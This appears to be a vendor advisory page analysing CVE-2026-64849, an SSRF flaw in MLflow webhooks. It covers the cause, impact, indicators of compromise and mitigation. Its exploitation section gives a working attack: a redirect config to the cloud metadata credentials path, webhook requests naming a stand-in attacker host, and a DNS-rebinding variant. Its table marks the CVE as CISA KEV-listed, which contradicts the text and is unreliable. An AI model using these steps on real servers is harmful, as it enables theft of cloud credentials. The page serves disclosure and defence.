CVE-2026-64849
MLflow vulnerability analysis and mitigation

Overview

CVE-2026-64849 is a critical Server-Side Request Forgery (SSRF) vulnerability in MLflow's webhook delivery mechanism that allows unauthenticated attackers to reach internal or cloud metadata services and read their responses. The flaw affects MLflow versions prior to 3.15.0 (confirmed present through 3.13.0). It was originally reported privately by @freeman-bb on 2026-06-12, independently discovered by @AUTHENSOR on 2026-06-26, and publicly disclosed via GitHub Advisory GHSA-7gwp-5pfp-969j on 2026-08-17. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory).

Technical details

The vulnerability (CWE-918) stems from a Time-of-Check to Time-of-Use (TOCTOU) flaw in MLflow's webhook SSRF guard. The _validate_webhook_url() function in mlflow/utils/validation.py resolves the webhook hostname via socket.getaddrinfo() and rejects non-public IPs, but critically discards the resolved IP after validation. The subsequent HTTP request in mlflow/webhooks/delivery.py calls session.post(webhook.url) without allow_redirects=False, causing the requests library to independently re-resolve the hostname and follow any HTTP redirects without re-validating the redirect target's IP. Two bypass vectors exist: (1) Redirect-follow: an attacker's public HTTPS host passes the initial guard and returns a 302 Location pointing to an internal address (e.g., http://169.254.169.254/), which MLflow follows; (2) DNS rebinding (TOCTOU): the attacker's DNS server returns a public IP during getaddrinfo() validation and a private IP during the actual requests.post() connection. Because the /test endpoint reflects response_status and response_body back to the caller, this becomes a full-read SSRF (GitHub Advisory, GitHub Issue #24179).

Impact

An unauthenticated attacker with network access to the MLflow Tracking Server can force the server to issue HTTP requests to arbitrary internal, loopback, or cloud metadata endpoints and read the full response body. Primary targets include cloud instance metadata services (e.g., AWS IMDS at 169.254.169.254) that expose IAM role credentials and temporary access tokens, internal-only admin services, and private-network management endpoints. Beyond credential theft, 307/308 redirect variants preserve the POST method and body, enabling blind writes to internal management APIs (e.g., Docker daemon, Elasticsearch, Spring Boot Actuator), extending the impact to integrity as well as confidentiality (GitHub Advisory).

Exploitability

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at the time of disclosure (Feedly). The vulnerability is trivially exploitable by unauthenticated attackers on default MLflow server deployments, as the webhook API requires no credentials unless the optional auth plugin is explicitly loaded. The EPSS score is 0.0 and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The advisory includes a detailed proof-of-concept walkthrough demonstrating successful exploitation against mlflow==3.13.0 with a default SQLite backend (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing or network-accessible MLflow Tracking Server instances running versions ≤ 3.13.0. Default deployments (mlflow server with SQLite backend) expose the webhook API unauthenticated.
  2. Set up attacker-controlled redirect server: Configure a public HTTPS endpoint (with a valid TLS certificate) at a domain the attacker controls (e.g., attacker.example.com). Configure it to return a 302 redirect to the internal target: nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }
  3. Create a webhook pointing to the attacker's public host (passes _validate_webhook_url since the domain resolves to a public IP):
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"name":"poc","url":"https://attacker.example.com/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

Server responds with 200 and a webhook_id. 4. Trigger the unauthenticated /test endpoint to fire the webhook synchronously:

POST /api/2.0/mlflow/webhooks/<webhook_id>/test HTTP/1.1
Host: <TARGET>
Content-Type: application/json
{"webhook_id":"<webhook_id>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
  1. Receive internal response: MLflow follows the 302 redirect to 169.254.169.254 without re-validating the IP, and the response body (e.g., IAM credentials) is reflected back in response_body:
{"result":{"success":true,"response_status":200,"response_body":"<IAM_CREDENTIALS_HERE>"}}
  1. DNS rebinding variant (alternative): Instead of a redirect, configure the attacker's DNS to return a public IP during _validate_webhook_url() validation and switch to 169.254.169.254 for the subsequent requests.post() resolution, achieving the same SSRF without a redirect server (GitHub Advisory, GitHub Issue #24179).

Indicators of compromise

  • Network: Outbound HTTP requests from the MLflow server to 169.254.169.254, 127.0.0.1, RFC1918 addresses (10.x.x.x, 172.16.x.x, 192.168.x.x), or other non-public IPs originating from the MLflow process.
  • Network: Unusual outbound connections from the MLflow server to external domains immediately followed by connections to internal IP ranges (indicative of redirect-follow SSRF).
  • Logs: MLflow access logs showing repeated unauthenticated POST /api/2.0/mlflow/webhooks (webhook creation) and POST /api/2.0/mlflow/webhooks/{id}/test requests from unexpected source IPs.
  • Logs: Webhook URLs in the MLflow database pointing to external domains not associated with legitimate CI/CD or notification systems.
  • Logs: response_body fields in webhook test responses containing cloud metadata content (e.g., IAM role names, access key patterns like ASIA* or AKIA*).
  • File System / Database: Presence of webhook records in the MLflow SQL store (webhooks table) with URLs pointing to unfamiliar external domains, especially those with very short DNS TTLs.

Mitigation and workarounds

Primary remediation: Upgrade MLflow to version 3.15.0 or later, which introduces SSRFProtectedHTTPAdapter in mlflow/webhooks/ssrf.py. This adapter validates the peer IP of the actual connected socket immediately after TCP connect and before any TLS/HTTP exchange, closing both the redirect-follow and DNS-rebinding TOCTOU gaps. The fix was merged in commit ba94952 via PR #24258 (MLflow v3.15.0 Release, Fix PR #24258).

Workarounds (if immediate upgrade is not possible):

  • Enable the MLflow optional auth plugin to require credentials for all API access, preventing unauthenticated webhook creation and testing.
  • Implement egress filtering on the MLflow server host to block outbound connections to 169.254.169.254, loopback, and RFC1918 address ranges.
  • Restrict network access to the MLflow Tracking Server to trusted clients only using firewall rules or network policies.
  • Set MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS=false (already the default) and audit existing webhook URLs in the database for suspicious entries (GitHub Advisory).

Community reactions

The vulnerability was credited to multiple independent researchers: @freeman-bb (original private reporter, 2026-06-12), @AUTHENSOR (independent public disclosure via issue #24179, 2026-06-26), and additional finders @y011d4, @ibondarenko1, @h1-mrz, and @th3cyb3rc0p. The fix was reviewed by both automated AI review bots (NaiLaOpus, Copilot, Claude) and approved after addressing edge cases including proxy bypass via HTTP_PROXY environment variables and OSError handling in getpeername(). The vulnerability was proposed as a case study for the "Evaluator Trust Boundary (ETB)" defect class in MITRE ATLAS by @AUTHENSOR, reflecting broader interest in AI/ML infrastructure security (GitHub Advisory, Fix PR #24258).

Additional resources


SourceThis report was generated using AI

Related MLflow vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-64849CRITICAL9.3
  • MLflow logoMLflow
  • mlflow
YesYesAug 17, 2026
CVE-2026-8147HIGH8.1
  • NixOS logoNixOS
  • mlflow
NoYesJul 02, 2026
CVE-2026-4035HIGH7.7
  • NixOS logoNixOS
  • mlflow
NoYesJun 03, 2026
CVE-2026-3198MEDIUM6.5
  • NixOS logoNixOS
  • mlflow
NoYesJun 02, 2026
CVE-2026-10803LOW1.1
  • NixOS logoNixOS
  • mlflow
NoYesJun 04, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management